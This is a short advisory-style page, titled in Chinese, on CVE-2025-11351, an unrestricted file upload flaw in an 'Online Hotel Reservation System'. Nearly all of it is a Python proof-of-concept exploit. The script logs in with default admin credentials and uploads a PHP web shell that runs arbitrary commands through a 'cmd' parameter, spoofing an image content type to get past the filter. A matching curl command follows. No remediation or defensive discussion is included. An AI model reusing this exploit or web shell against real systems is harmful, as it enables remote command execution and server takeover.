CVE-2025-11351：Online Hotel Reservation System任意文件上传漏洞

# CVE-2025-11351 - Online Hotel Reservation System Unrestricted Upload PoC # Vulnerability: Unrestricted File Upload in /admin/editpicexec.php # Parameter: image import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/editpicexec.php" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login as admin to get session cookie session = requests.Session() login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) # Step 2: Prepare malicious PHP webshell # The image parameter does not validate file type properly webshell_content = b"""<?php echo "VULN_TESTED"; if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>""" # Step 3: Upload malicious file via the vulnerable endpoint # Bypass: change extension or use double extension files = { "image": ("shell.php", webshell_content, "image/jpeg") } upload_url = f"{TARGET_URL}{ADMIN_PATH}" resp = session.post(upload_url, files=files) print(f"Upload response status: {resp.status_code}") print("If upload successful, access the shell at:") print(f"{TARGET_URL}/admin/uploads/shell.php?cmd=id") # Alternative: Using curl command # curl -F "[email protected];type=image/jpeg" \ # -b "PHPSESSID=your_session_id" \ # http://target.com/admin/editpicexec.php